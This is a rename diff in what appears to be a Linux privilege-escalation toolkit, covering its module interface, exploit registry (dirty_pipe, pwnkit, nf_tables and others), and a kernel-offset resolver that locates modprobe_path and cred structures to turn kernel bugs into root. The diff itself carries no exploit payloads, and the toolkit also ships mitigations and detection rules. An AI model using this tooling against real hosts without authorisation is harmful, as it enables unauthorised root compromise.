bool no_color; /* --no-color */
|
bool no_color; /* --no-color */
|
||||||
bool json; /* --json (machine-readable output) */
|
bool json; /* --json (machine-readable output) */
|
||||||
bool active_probe; /* --active (do invasive probes in detect) */
|
bool active_probe; /* --active (do invasive probes in detect) */
|
||||||
@@ -52,8 +52,8 @@ struct iamroot_ctx {
|
|||||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||||
};
|
};
|
||||||
|
|
||||||
struct iamroot_module {
|
struct skeletonkey_module {
|
||||||
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
|
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
|
||||||
const char *name;
|
const char *name;
|
||||||
|
|
||||||
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
||||||
@@ -71,20 +71,20 @@ struct iamroot_module {
|
|||||||
const char *kernel_range;
|
const char *kernel_range;
|
||||||
|
|
||||||
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
||||||
* is true. Return IAMROOT_VULNERABLE if confirmed,
|
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
|
||||||
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
|
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
|
||||||
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
|
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
|
||||||
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Run the exploit. Caller has already passed the --i-know gate. */
|
/* Run the exploit. Caller has already passed the --i-know gate. */
|
||||||
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Apply a temporary mitigation. NULL if none offered. */
|
/* Apply a temporary mitigation. NULL if none offered. */
|
||||||
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
||||||
* effects. NULL if no cleanup applies. */
|
* effects. NULL if no cleanup applies. */
|
||||||
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
|
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
|
||||||
|
|
||||||
/* Detection rule corpus — embedded so the binary is self-
|
/* Detection rule corpus — embedded so the binary is self-
|
||||||
* contained. Each may be NULL if this module ships no rules for
|
* contained. Each may be NULL if this module ships no rules for
|
||||||
@@ -96,4 +96,4 @@ struct iamroot_module {
|
|||||||
const char *detect_falco; /* falco rules content */
|
const char *detect_falco; /* falco rules content */
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif /* IAMROOT_MODULE_H */
|
#endif /* SKELETONKEY_MODULE_H */
|
||||||
|
|||||||
+22
-22
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel offset resolution
|
* SKELETONKEY — kernel offset resolution
|
||||||
*
|
*
|
||||||
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
||||||
* → embedded table). This implementation is deliberately small and
|
* → embedded table). This implementation is deliberately small and
|
||||||
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
|
|||||||
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
||||||
#define DEFAULT_CRED_UID_OFFSET 0x4
|
#define DEFAULT_CRED_UID_OFFSET 0x4
|
||||||
|
|
||||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
|
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
|
||||||
{
|
{
|
||||||
switch (src) {
|
switch (src) {
|
||||||
case OFFSETS_NONE: return "none";
|
case OFFSETS_NONE: return "none";
|
||||||
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
|
|||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Source 1: environment variables
|
* Source 1: environment variables
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
static void apply_env(struct iamroot_kernel_offsets *o)
|
static void apply_env(struct skeletonkey_kernel_offsets *o)
|
||||||
{
|
{
|
||||||
const char *v;
|
const char *v;
|
||||||
uintptr_t a;
|
uintptr_t a;
|
||||||
|
|
||||||
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
|
||||||
if (!o->kbase) o->kbase = a;
|
if (!o->kbase) o->kbase = a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||||
if (!o->modprobe_path) {
|
if (!o->modprobe_path) {
|
||||||
o->modprobe_path = a;
|
o->modprobe_path = a;
|
||||||
o->source_modprobe = OFFSETS_FROM_ENV;
|
o->source_modprobe = OFFSETS_FROM_ENV;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||||
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
|
||||||
if (!o->init_task) {
|
if (!o->init_task) {
|
||||||
o->init_task = a;
|
o->init_task = a;
|
||||||
o->source_init_task = OFFSETS_FROM_ENV;
|
o->source_init_task = OFFSETS_FROM_ENV;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
|
||||||
if (!o->init_cred) o->init_cred = a;
|
if (!o->init_cred) o->init_cred = a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||||
if (!o->cred_offset_real) {
|
if (!o->cred_offset_real) {
|
||||||
o->cred_offset_real = (uint32_t)a;
|
o->cred_offset_real = (uint32_t)a;
|
||||||
o->source_cred = OFFSETS_FROM_ENV;
|
o->source_cred = OFFSETS_FROM_ENV;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||||
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
||||||
}
|
}
|
||||||
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
|
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||||
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
|
|||||||
* the same "ADDR TYPE NAME" format).
|
* the same "ADDR TYPE NAME" format).
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
static int parse_symfile(const char *path,
|
static int parse_symfile(const char *path,
|
||||||
struct iamroot_kernel_offsets *o,
|
struct skeletonkey_kernel_offsets *o,
|
||||||
enum iamroot_offset_source tag)
|
enum skeletonkey_offset_source tag)
|
||||||
{
|
{
|
||||||
FILE *f = fopen(path, "r");
|
FILE *f = fopen(path, "r");
|
||||||
if (!f) return 0;
|
if (!f) return 0;
|
||||||
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
|
|||||||
* Source 4: embedded table — relative offsets, applied on top of kbase
|
* Source 4: embedded table — relative offsets, applied on top of kbase
|
||||||
* if we already have one.
|
* if we already have one.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
static void apply_table(struct iamroot_kernel_offsets *o)
|
static void apply_table(struct skeletonkey_kernel_offsets *o)
|
||||||
{
|
{
|
||||||
if (!o->kernel_release[0]) return;
|
if (!o->kernel_release[0]) return;
|
||||||
|
|
||||||
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
|
|||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Top-level resolve()
|
* Top-level resolve()
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
|
||||||
{
|
{
|
||||||
memset(out, 0, sizeof *out);
|
memset(out, 0, sizeof *out);
|
||||||
|
|
||||||
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
|||||||
return critical;
|
return critical;
|
||||||
}
|
}
|
||||||
|
|
||||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||||
uintptr_t leaked_kbase)
|
uintptr_t leaked_kbase)
|
||||||
{
|
{
|
||||||
if (!leaked_kbase) return;
|
if (!leaked_kbase) return;
|
||||||
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
|||||||
apply_table(off);
|
apply_table(off);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
|
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
|
||||||
{
|
{
|
||||||
return off && off->modprobe_path != 0;
|
return off && off->modprobe_path != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
|
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
|
||||||
{
|
{
|
||||||
return off && off->init_task != 0 && off->cred_offset_real != 0
|
return off && off->init_task != 0 && off->cred_offset_real != 0
|
||||||
&& off->cred_uid_offset != 0;
|
&& off->cred_uid_offset != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
|
||||||
{
|
{
|
||||||
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
||||||
off->kernel_release[0] ? off->kernel_release : "?",
|
off->kernel_release[0] ? off->kernel_release : "?",
|
||||||
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
|||||||
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
||||||
(unsigned long)off->kbase,
|
(unsigned long)off->kbase,
|
||||||
(unsigned long)off->modprobe_path,
|
(unsigned long)off->modprobe_path,
|
||||||
iamroot_offset_source_name(off->source_modprobe));
|
skeletonkey_offset_source_name(off->source_modprobe));
|
||||||
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
||||||
(unsigned long)off->init_task,
|
(unsigned long)off->init_task,
|
||||||
iamroot_offset_source_name(off->source_init_task),
|
skeletonkey_offset_source_name(off->source_init_task),
|
||||||
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
||||||
iamroot_offset_source_name(off->source_cred));
|
skeletonkey_offset_source_name(off->source_cred));
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-17
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel offset resolution
|
* SKELETONKEY — kernel offset resolution
|
||||||
*
|
*
|
||||||
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
||||||
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
||||||
@@ -10,7 +10,7 @@
|
|||||||
* Those addresses vary per kernel build. This file resolves them at
|
* Those addresses vary per kernel build. This file resolves them at
|
||||||
* runtime via a four-source chain:
|
* runtime via a four-source chain:
|
||||||
*
|
*
|
||||||
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
|
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
|
||||||
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
||||||
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
||||||
* 4. Embedded table keyed by `uname -r` glob (entries are
|
* 4. Embedded table keyed by `uname -r` glob (entries are
|
||||||
@@ -22,14 +22,14 @@
|
|||||||
* pointing the operator at the manual workflow.
|
* pointing the operator at the manual workflow.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_OFFSETS_H
|
#ifndef SKELETONKEY_OFFSETS_H
|
||||||
#define IAMROOT_OFFSETS_H
|
#define SKELETONKEY_OFFSETS_H
|
||||||
|
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
|
|
||||||
enum iamroot_offset_source {
|
enum skeletonkey_offset_source {
|
||||||
OFFSETS_NONE = 0,
|
OFFSETS_NONE = 0,
|
||||||
OFFSETS_FROM_ENV = 1,
|
OFFSETS_FROM_ENV = 1,
|
||||||
OFFSETS_FROM_KALLSYMS = 2,
|
OFFSETS_FROM_KALLSYMS = 2,
|
||||||
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
|
|||||||
OFFSETS_FROM_TABLE = 4,
|
OFFSETS_FROM_TABLE = 4,
|
||||||
};
|
};
|
||||||
|
|
||||||
struct iamroot_kernel_offsets {
|
struct skeletonkey_kernel_offsets {
|
||||||
/* Host fingerprint */
|
/* Host fingerprint */
|
||||||
char kernel_release[128]; /* uname -r */
|
char kernel_release[128]; /* uname -r */
|
||||||
char distro[64]; /* parsed from /etc/os-release ID= */
|
char distro[64]; /* parsed from /etc/os-release ID= */
|
||||||
|
|
||||||
/* Kernel base — needed when offsets are relative-to-_text.
|
/* Kernel base — needed when offsets are relative-to-_text.
|
||||||
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
|
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||||
uintptr_t kbase;
|
uintptr_t kbase;
|
||||||
|
|
||||||
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
||||||
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
|
|||||||
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
||||||
|
|
||||||
/* Where did each field come from. */
|
/* Where did each field come from. */
|
||||||
enum iamroot_offset_source source_modprobe;
|
enum skeletonkey_offset_source source_modprobe;
|
||||||
enum iamroot_offset_source source_init_task;
|
enum skeletonkey_offset_source source_init_task;
|
||||||
enum iamroot_offset_source source_cred;
|
enum skeletonkey_offset_source source_cred;
|
||||||
};
|
};
|
||||||
|
|
||||||
/* Best-effort resolution. Returns the number of critical fields
|
/* Best-effort resolution. Returns the number of critical fields
|
||||||
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
|
|||||||
*
|
*
|
||||||
* Resolution chain is tried in order; later sources do NOT overwrite
|
* Resolution chain is tried in order; later sources do NOT overwrite
|
||||||
* a field already set by an earlier source. */
|
* a field already set by an earlier source. */
|
||||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
|
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
|
||||||
|
|
||||||
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
||||||
* shipped as relative-to-_text offsets. Idempotent. */
|
* shipped as relative-to-_text offsets. Idempotent. */
|
||||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||||
uintptr_t leaked_kbase);
|
uintptr_t leaked_kbase);
|
||||||
|
|
||||||
/* Returns true if modprobe_path can be written (the simplest root-pop
|
/* Returns true if modprobe_path can be written (the simplest root-pop
|
||||||
* finisher). */
|
* finisher). */
|
||||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
|
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
|
||||||
|
|
||||||
/* Returns true if init_task + cred offsets are known (the cred-uid
|
/* Returns true if init_task + cred offsets are known (the cred-uid
|
||||||
* finisher). */
|
* finisher). */
|
||||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
|
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
|
||||||
|
|
||||||
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
||||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
|
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
|
||||||
|
|
||||||
/* Helper: return the name of the source enum. */
|
/* Helper: return the name of the source enum. */
|
||||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
|
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
|
||||||
|
|
||||||
#endif /* IAMROOT_OFFSETS_H */
|
#endif /* SKELETONKEY_OFFSETS_H */
|
||||||
|
|||||||
+9
-9
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — module registry implementation
|
* SKELETONKEY — module registry implementation
|
||||||
*
|
*
|
||||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||||
* than a few dozen modules, so this is fine.
|
* than a few dozen modules, so this is fine.
|
||||||
@@ -14,22 +14,22 @@
|
|||||||
|
|
||||||
#define REGISTRY_CHUNK 16
|
#define REGISTRY_CHUNK 16
|
||||||
|
|
||||||
static const struct iamroot_module **g_modules = NULL;
|
static const struct skeletonkey_module **g_modules = NULL;
|
||||||
static size_t g_count = 0;
|
static size_t g_count = 0;
|
||||||
static size_t g_cap = 0;
|
static size_t g_cap = 0;
|
||||||
|
|
||||||
void iamroot_register(const struct iamroot_module *m)
|
void skeletonkey_register(const struct skeletonkey_module *m)
|
||||||
{
|
{
|
||||||
if (m == NULL || m->name == NULL) {
|
if (m == NULL || m->name == NULL) {
|
||||||
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
|
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (g_count == g_cap) {
|
if (g_count == g_cap) {
|
||||||
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
||||||
const struct iamroot_module **n =
|
const struct skeletonkey_module **n =
|
||||||
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
||||||
if (n == NULL) {
|
if (n == NULL) {
|
||||||
fprintf(stderr, "[!] iamroot_register: OOM\n");
|
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
g_modules = n;
|
g_modules = n;
|
||||||
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
|
|||||||
g_modules[g_count++] = m;
|
g_modules[g_count++] = m;
|
||||||
}
|
}
|
||||||
|
|
||||||
size_t iamroot_module_count(void)
|
size_t skeletonkey_module_count(void)
|
||||||
{
|
{
|
||||||
return g_count;
|
return g_count;
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module *iamroot_module_at(size_t i)
|
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
|
||||||
{
|
{
|
||||||
if (i >= g_count) return NULL;
|
if (i >= g_count) return NULL;
|
||||||
return g_modules[i];
|
return g_modules[i];
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module *iamroot_module_find(const char *name)
|
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
|
||||||
{
|
{
|
||||||
if (name == NULL) return NULL;
|
if (name == NULL) return NULL;
|
||||||
for (size_t i = 0; i < g_count; i++) {
|
for (size_t i = 0; i < g_count; i++) {
|
||||||
|
|||||||
+30
-30
@@ -1,44 +1,44 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — module registry
|
* SKELETONKEY — module registry
|
||||||
*
|
*
|
||||||
* Global list of registered modules. Each family contributes via
|
* Global list of registered modules. Each family contributes via
|
||||||
* register_<family>_modules() called from iamroot main() at startup.
|
* register_<family>_modules() called from skeletonkey main() at startup.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_REGISTRY_H
|
#ifndef SKELETONKEY_REGISTRY_H
|
||||||
#define IAMROOT_REGISTRY_H
|
#define SKELETONKEY_REGISTRY_H
|
||||||
|
|
||||||
#include "module.h"
|
#include "module.h"
|
||||||
|
|
||||||
void iamroot_register(const struct iamroot_module *m);
|
void skeletonkey_register(const struct skeletonkey_module *m);
|
||||||
|
|
||||||
size_t iamroot_module_count(void);
|
size_t skeletonkey_module_count(void);
|
||||||
const struct iamroot_module *iamroot_module_at(size_t i);
|
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
|
||||||
|
|
||||||
/* Find a module by name. Returns NULL if not found. */
|
/* Find a module by name. Returns NULL if not found. */
|
||||||
const struct iamroot_module *iamroot_module_find(const char *name);
|
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
|
||||||
|
|
||||||
/* Each module family declares one of these in its public header. The
|
/* Each module family declares one of these in its public header. The
|
||||||
* top-level iamroot main() calls them in order at startup. */
|
* top-level skeletonkey main() calls them in order at startup. */
|
||||||
void iamroot_register_copy_fail_family(void);
|
void skeletonkey_register_copy_fail_family(void);
|
||||||
void iamroot_register_dirty_pipe(void);
|
void skeletonkey_register_dirty_pipe(void);
|
||||||
void iamroot_register_entrybleed(void);
|
void skeletonkey_register_entrybleed(void);
|
||||||
void iamroot_register_pwnkit(void);
|
void skeletonkey_register_pwnkit(void);
|
||||||
void iamroot_register_nf_tables(void);
|
void skeletonkey_register_nf_tables(void);
|
||||||
void iamroot_register_overlayfs(void);
|
void skeletonkey_register_overlayfs(void);
|
||||||
void iamroot_register_cls_route4(void);
|
void skeletonkey_register_cls_route4(void);
|
||||||
void iamroot_register_dirty_cow(void);
|
void skeletonkey_register_dirty_cow(void);
|
||||||
void iamroot_register_ptrace_traceme(void);
|
void skeletonkey_register_ptrace_traceme(void);
|
||||||
void iamroot_register_netfilter_xtcompat(void);
|
void skeletonkey_register_netfilter_xtcompat(void);
|
||||||
void iamroot_register_af_packet(void);
|
void skeletonkey_register_af_packet(void);
|
||||||
void iamroot_register_fuse_legacy(void);
|
void skeletonkey_register_fuse_legacy(void);
|
||||||
void iamroot_register_stackrot(void);
|
void skeletonkey_register_stackrot(void);
|
||||||
void iamroot_register_af_packet2(void);
|
void skeletonkey_register_af_packet2(void);
|
||||||
void iamroot_register_cgroup_release_agent(void);
|
void skeletonkey_register_cgroup_release_agent(void);
|
||||||
void iamroot_register_overlayfs_setuid(void);
|
void skeletonkey_register_overlayfs_setuid(void);
|
||||||
void iamroot_register_nft_set_uaf(void);
|
void skeletonkey_register_nft_set_uaf(void);
|
||||||
void iamroot_register_af_unix_gc(void);
|
void skeletonkey_register_af_unix_gc(void);
|
||||||
void iamroot_register_nft_fwd_dup(void);
|
void skeletonkey_register_nft_fwd_dup(void);
|
||||||
void iamroot_register_nft_payload(void);
|
void skeletonkey_register_nft_payload(void);
|
||||||
|
|
||||||
#endif /* IAMROOT_REGISTRY_H */
|
#endif /* SKELETONKEY_REGISTRY_H */
|
||||||
|
|||||||
+11
-11
@@ -14,7 +14,7 @@ modules/<module_name>/
|
|||||||
├── MODULE.md # Human-readable writeup of the bug
|
├── MODULE.md # Human-readable writeup of the bug
|
||||||
├── NOTICE.md # Credits to original researcher
|
├── NOTICE.md # Credits to original researcher
|
||||||
├── kernel-range.json # Machine-readable affected kernels
|
├── kernel-range.json # Machine-readable affected kernels
|
||||||
├── module.c # Implements iamroot_module interface
|
├── module.c # Implements skeletonkey_module interface
|
||||||
├── module.h
|
├── module.h
|
||||||
├── detect/
|
├── detect/
|
||||||
│ ├── auditd.rules # blue team detection
|
│ ├── auditd.rules # blue team detection
|
||||||
@@ -24,10 +24,10 @@ modules/<module_name>/
|
|||||||
└── tests/ # per-module tests (run in CI matrix)
|
└── tests/ # per-module tests (run in CI matrix)
|
||||||
```
|
```
|
||||||
|
|
||||||
### `iamroot_module` interface (planned, Phase 1)
|
### `skeletonkey_module` interface (planned, Phase 1)
|
||||||
|
|
||||||
```c
|
```c
|
||||||
struct iamroot_module {
|
struct skeletonkey_module {
|
||||||
const char *name; /* "copy_fail" */
|
const char *name; /* "copy_fail" */
|
||||||
const char *cve; /* "CVE-2026-31431" */
|
const char *cve; /* "CVE-2026-31431" */
|
||||||
const char *summary; /* one-line description */
|
const char *summary; /* one-line description */
|
||||||
@@ -35,29 +35,29 @@ struct iamroot_module {
|
|||||||
/* Return 1 if host appears vulnerable, 0 if patched/immune,
|
/* Return 1 if host appears vulnerable, 0 if patched/immune,
|
||||||
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
|
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
|
||||||
* etc. from core/ if a leak primitive is needed. */
|
* etc. from core/ if a leak primitive is needed. */
|
||||||
int (*detect)(struct iamroot_host *host);
|
int (*detect)(struct skeletonkey_host *host);
|
||||||
|
|
||||||
/* Run the exploit. Caller has already passed the
|
/* Run the exploit. Caller has already passed the
|
||||||
* authorization gate. Returns 0 on root acquired,
|
* authorization gate. Returns 0 on root acquired,
|
||||||
* nonzero on failure. */
|
* nonzero on failure. */
|
||||||
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
|
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
|
||||||
|
|
||||||
/* Apply a runtime mitigation for this CVE (sysctl, module
|
/* Apply a runtime mitigation for this CVE (sysctl, module
|
||||||
* blacklist, etc.). Returns 0 on success. NULL if no
|
* blacklist, etc.). Returns 0 on success. NULL if no
|
||||||
* mitigation is offered. */
|
* mitigation is offered. */
|
||||||
int (*mitigate)(struct iamroot_host *host);
|
int (*mitigate)(struct skeletonkey_host *host);
|
||||||
|
|
||||||
/* Undo --exploit-backdoor or --mitigate side effects. */
|
/* Undo --exploit-backdoor or --mitigate side effects. */
|
||||||
int (*cleanup)(struct iamroot_host *host);
|
int (*cleanup)(struct skeletonkey_host *host);
|
||||||
|
|
||||||
/* Affected kernel version range, distros covered, etc. */
|
/* Affected kernel version range, distros covered, etc. */
|
||||||
const struct iamroot_kernel_range *ranges;
|
const struct skeletonkey_kernel_range *ranges;
|
||||||
size_t n_ranges;
|
size_t n_ranges;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
Modules register themselves at link time via a constructor-attribute
|
Modules register themselves at link time via a constructor-attribute
|
||||||
table. The top-level `iamroot` binary iterates the registry on each
|
table. The top-level `skeletonkey` binary iterates the registry on each
|
||||||
invocation.
|
invocation.
|
||||||
|
|
||||||
## Shared `core/`
|
## Shared `core/`
|
||||||
@@ -78,7 +78,7 @@ Code that more than one module needs lives in `core/`:
|
|||||||
|
|
||||||
## Top-level dispatcher
|
## Top-level dispatcher
|
||||||
|
|
||||||
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||||
|
|
||||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||||
`--detect-rules`, `--cleanup`, etc.)
|
`--detect-rules`, `--cleanup`, etc.)
|
||||||
